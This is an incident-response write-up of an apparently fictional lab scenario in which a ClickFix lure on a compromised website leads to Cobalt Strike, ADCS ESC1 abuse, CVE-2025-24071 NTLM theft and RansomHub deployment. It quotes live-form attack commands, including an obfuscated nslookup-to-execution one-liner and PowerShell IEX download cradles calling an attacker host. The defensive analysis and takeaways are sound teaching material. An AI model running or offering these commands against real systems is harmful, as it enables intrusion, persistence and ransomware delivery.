Maromafix Falldown - RansomHub

Scenario

On the morning of March 22, 2026, Maromalix Corporation became the victim of a targeted ransomware attack. Prior to the incident, the company’s public-facing website was silently compromised by a threat actor. The attacker modified a single page on the site to display a convincing browser error message, instructing any visitor to run a short command on their machine to “fix” the issue — and one employee did exactly that.

The investigation spans four hosts (WKSTN-01, WKSTN-02, WKSTN-03, DC01), an ELK SIEM instance, and disk triage images, requiring correlation across Elastic, MFTECmd, NTFS Log Tracker, Registry Explorer, and dnSpy to reconstruct the full attack chain from initial access through ransomware execution and file decryption.

Methodology

Initial Access — ClickFix via Compromised Website

The first question establishes patient zero. Searching Elastic for DNS queries to the attacker’s domain immediately surfaces the victim.

event.code: "22" AND winlog.event_data.QueryName: "maromalix.cloud" AND message: *chrome*

The earliest hit comes back at 2026-03-22 14:28 on WKSTN-01, with the user context showing MAROMALIX\omar.hassan — Chrome initiated the DNS query, confirming a browser visit to the compromised page.

The compromised page displayed a fake browser error instructing the visitor to open the Run dialog and paste a “fix” command. The question asks for the exact command, specifically noting it should come from the registry to avoid format mangling in Sysmon logs. Opening the WKSTN-01 NTUSER.DAT in Registry Explorer and navigating to HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU reveals exactly what omar pasted:

cmd.exe /c "for /f "tokens=1*" %i in ('n^s^^l^^o^o^kup -timeout^=5 example.com  3.77.33.191 ^| findstr Name:') do %j"

Everything after the & operator is a social engineering comment (“Set back and stay still and fixes will be applied now”) — excluded per the question. The command is a caret-obfuscated nslookup call pointing at an attacker-controlled DNS server on 3.77.33.191, piping the Name field of the response directly to execution via do %j. This is a DNS-over-Name payload delivery technique — the attacker’s DNS server returns a PowerShell command embedded in the Name field of the response, which findstr Name: extracts and do %j executes directly in the shell.

Execution — DNS TXT Payload to Cobalt Strike Stager

The nslookup call queries example.com against 3.77.33.191. That attacker-controlled DNS server returns the payload in the Name field of the response. Searching Sysmon EID 1 for the child process chain confirms what was returned and executed:

event.code: "1" AND agent.name: "WKSTN-01" AND winlog.event_data.ParentProcessId: "3132"

The DNS response triggered execution of:

powershell  -nop -w hidden -c IEX((new-object net.webclient).downloadstring('http://35.158.162.78/a'))

This IEX stager downloaded a script from 35.158.162.78/a which was captured across 29 PowerShell Script Block Logging (EID 4104) fragments. Reconstructing the script reveals a classic reflective PE loader — func_get_proc_address, func_get_delegate_type, a base64-encoded byte array XOR’d with key 0x23 (decimal 35), and a VirtualAlloc/Copy/Invoke chain to execute it in memory.

Collecting the full base64 payload from the EID 4104 logs and decoding in CyberChef (From Base64 → XOR 0x23) produces a 409,600-byte PE file with an MZ header — the full Cobalt Strike beacon.

The decoded PE was saved as beacon.bin and parsed with Didier Stevens’ 1768.py:

The parser confirms Cobalt Strike 4.4 with the following key configuration fields:

• BeaconType: windows-beacon_https-reverse_https
• C2: 35.158.162.78/updates
• UserAgent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
• post-uri: /submit
• spawnto_x64: %windir%\syswow64\rundll32.exe

The beacon ran in-memory inside the original PowerShell process (PID 3132), which established a persistent TCP connection to 35.158.162.78:443 visible in Sysmon EID 3 network connection events.

Persistence — Registry Run Key

The beacon operated for over four hours before establishing persistence. Searching Sysmon EID 1 for child processes spawned by the beacon PowerShell (PID 3132) after the initial execution window surfaces the persistence command at 18:49:

C:\Windows\system32\cmd.exe /C reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Update /t REG_SZ /d "powershell.exe -nop -w hidden -c IEX((new-object net.webclient).downloadstring('http://35.158.162.78:80/a'))" /f

The operator waited until well after initial access to establish persistence — a deliberate decision likely tied to the operator’s working hours. The Run key value Update points back to the same IEX stager, ensuring beacon re-execution on every user logon.

Discovery — Domain Recon and Certificate Enumeration

With persistence established, the operator began domain reconnaissance. Process creation events spawned by PID 3132 reveal the full discovery sequence and confirm the staging directory:

C:\Windows\system32\cmd.exe /C .\\QA.exe --collectionmethods All --outputdirectroy C:\Users\omar.hassan\Q2_review --zipfilename revenue

QA.exe is SharpHound renamed — the --collectionmethods All and --zipfilename flags are the tell. The binary was dropped to C:\Users\omar.hassan\Q2_review\ at 18:51:49 per Sysmon EID 11. The output archive was recovered via NTFS Log Tracker against the WKSTN-01 triage image, which surfaced 20260322185250_revenue.zip created at 18:53:34 in the Q2_review directory.

The operator also ran Active Directory certificate template enumeration:

C:\Windows\system32\cmd.exe /C certutil -v -template > C:\Users\omar.hassan\Q2_review\template_audit.log

This is a standard ADCS reconnaissance step — dumping all published certificate templates to identify ESC vulnerabilities before requesting a certificate for privilege escalation.

Credential Access — CVE-2025-24071 NTLM Hash Theft

With the AD certificate templates enumerated, the operator needed credentials with enrollment rights. The method chosen was CVE-2025-24071 — a Windows Explorer NTLM hash disclosure vulnerability triggered by placing a malicious .library-ms file in a ZIP archive on shared network locations.

The attacker created 2026_Payroll_Adjustments.zip containing 2026_Payroll_Adjustments.library-ms (a weaponised library file with a UNC path pointing to the attacker’s server) and copied it to DC01 shares:

cmd /C copy 2026_Payroll_Adjustments.zip \\DC01\Finance\
cmd /C copy 2026_Payroll_Adjustments.zip \\DC01\IT-Helpdesk\

The Finance and IT-Helpdesk shares accepted the write. Two additional copy attempts (Development and HR) failed — only these two appear as file creation events on DC01.

CVE-2025-24071 triggers automatically when a user browses a folder containing the extracted .library-ms file — no clicks required. Windows Explorer parses the library file’s XML, encounters the embedded UNC path, and initiates an NTLM authentication to the attacker’s SMB server, leaking the user’s NTLMv2 hash.

Three users browsed the affected shares in order: omar.hassan (who placed the file and triggered it himself), nour.khalil (WKSTN-02, 10.10.11.42), and ahmed.farouk (WKSTN-03, 10.10.11.109).

Privilege Escalation — ESC1 Certificate Abuse and PKINIT

Ahmed Farouk was the last user to interact with the file and held membership in a group with certificate enrollment rights. With his NTLM hash captured and cracked, the attacker requested a certificate from the Maromalix-UserAuth template — an ESC1-vulnerable template that allows the enrollee to specify arbitrary Subject Alternative Names.

The certificate request specified SAN: upn=mohamed.elfeky@maromalix.corp — impersonating a more privileged domain account. DC01 EID 4886 (certificate request) and EID 4887 (certificate issued) events confirm the enrollment.

With the certificate in hand, the attacker performed PKINIT Kerberos pre-authentication — using the certificate as credentials to obtain a TGT for mohamed.elfeky. The first EID 4768 with Pre-Authentication Type: 16 (PKINIT/certificate) and Client Address: ::ffff:10.10.11.104 (WKSTN-01) appeared at 19:47:

Lateral Movement — smbexec.py Across Four Machines

With a TGT for mohamed.elfeky, the attacker authenticated to four machines almost simultaneously between 19:50 and 19:51. EID 4624 logon events on each machine show network logons with Logon IDs 0x31E05CA, 0x26329B2, 0x102C1CC0, and 0x39FFEDA in order of occurrence.

Across all four sessions, the attacker used smbexec.py (Impacket) to execute commands remotely. smbexec creates a short-lived service (BTOBTO) whose ImagePath contains a distinctive batch-file-deletion pattern (__output 2^>&1), executes it, then immediately deletes it. This pattern is detected by the SigmaHQ rule win_system_hack_smbexec.

Defense Evasion — Logging Blind Window

Before deploying ransomware, the operator stopped log shipping services across all hosts to prevent the SIEM from receiving evidence of the deployment. The first service stopped was filebeat at 19:52, followed immediately by winlogbeat. Once winlogbeat stopped, no further events reached Elastic — creating a complete logging gap.

During the blind window, the operator cleared all Windows event logs across the environment. The first log cleared (visible after winlogbeat restarted) has an internal timestamp of 20:02. Winlogbeat restarted across all hosts at 20:03 — 11 minutes after the log shippers were stopped.

Impact — RansomHub Deployment

During the 11-minute logging gap, the operator used the same smbexec.py method to deploy Missme.exe to C:\Windows\Temp\ on each targeted machine. The NTFS USN Journal on WKSTN-01 (via NTFS Log Tracker) confirms \Windows\Temp\Missme.exe created at 19:59:49, with file encryption beginning at 20:00:10 — files appended with the .94ccaa extension.

40 files were encrypted on WKSTN-01. The ransomware staged victim files into a zip archive before encryption (ExfilZip()) and uploaded them to http://35.158.162.78:8080/upload — double extortion. WKSTN-03’s deployment failed — Windows Defender Real-Time Protection intercepted Missme.exe and quarantined it.

Static Analysis — Missme.exe (RansomHub)

Defender logged the detection on WKSTN-03 but the quarantine entries were inaccessible via the triage path directly due to the %3A URL-encoded folder name. The workaround was copying the WKSTN-03 Defender quarantine files into the analyst VM’s own Defender quarantine directory, then running defender-dump.py -d against the local C:\ to extract the binary:

python .\defender-dump.py "c:\" -d

Exporting Missme.exe
File 'quarantine.tar' successfully created

DIE confirmed MSIL/C#, .NET Framework CLR 4.0.30319 — decompiled cleanly in dnSpy. The namespace is literally RansomHub.Program. Key findings from static analysis:

Self-deletion (SelfDelete()): Ping delay followed by Prefetch cleanup and self-removal:

Exfiltration (ExfilZip()): Staged zip uploaded with machine name header before encryption:

Ransom note (BuildNote()): Note written to all user Desktops as README_94ccaa.txt, directing victims to negotiate via Tor:

Decryption: AesKey and AesIV are hardcoded readonly byte arrays in the class. Converting to hex:

• Key: 3f8a2c1d7b4e9f6a0c5d2e8b1f3a7c4ed1a3f50b6c9e2d4f8a1b7c3e5d9f2a6b
• IV: 9b4f2a7c1e3d8f5ba26e0cd43f7a1b8e

Using MFTECmd --dr to recover Today task.txt.94ccaa from the WKSTN-01 MFT resident data, then decrypting in CyberChef (AES-256-CBC, PKCS7) with the extracted key/IV:

Attack Summary

IOCs

MITRE ATT&CK

Defender Takeaways

ClickFix awareness is now mandatory user training. The entire compromise chain started with a single employee following instructions from what appeared to be a browser error page. ClickFix attacks work because they exploit user trust in browser UI — organisations should add explicit training that no legitimate website will ever ask users to open a Run dialog or execute a command to fix a browser issue. The social engineering vector is trivially cheap to deploy and devastatingly effective against untrained users.

DNS logging is non-negotiable for detecting this class of attack. The initial payload was delivered entirely through the Name field of a DNS response from an attacker-controlled resolver — no HTTP, no file download, no email attachment. Without Sysmon EID 22 (DNS query) logging, the delivery mechanism would have been invisible. Ensure DNS query logging is enabled at both the endpoint (Sysmon) and network level, and alert on queries to non-corporate resolvers.

ADCS ESC1 vulnerabilities are critical and common. The Maromalix-UserAuth template allowed any enrollee to specify arbitrary SANs, enabling full impersonation of any domain account including privileged ones. Running Certify or Certipy against your own environment to identify ESC-vulnerable templates should be a standard purple team exercise. The fix is straightforward — disable the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag on any template that doesn’t explicitly require it.

CVE-2025-24071 weaponises normal share browsing. The .library-ms NTLM theft required no user clicks beyond browsing a shared folder — Windows Explorer processes library files automatically on extraction. Patching for CVE-2025-24071 (March 2025 patch Tuesday) and disabling NTLM where possible (enforcing Kerberos-only authentication) are the primary controls. As a detection, alert on outbound SMB connections to non-internal IP addresses.

Defender-dump.py is an essential part of your .NET ransomware toolkit. When Defender quarantines a binary during an incident, it isn’t gone — it’s encrypted and stored in the quarantine database. The defender-dump.py -d flag decrypts and restores the original binary for static analysis. Combined with dnSpy for .NET decompilation, hardcoded keys, C2 URLs, and self-deletion commands are fully recoverable even from samples that were never executed in your own lab environment.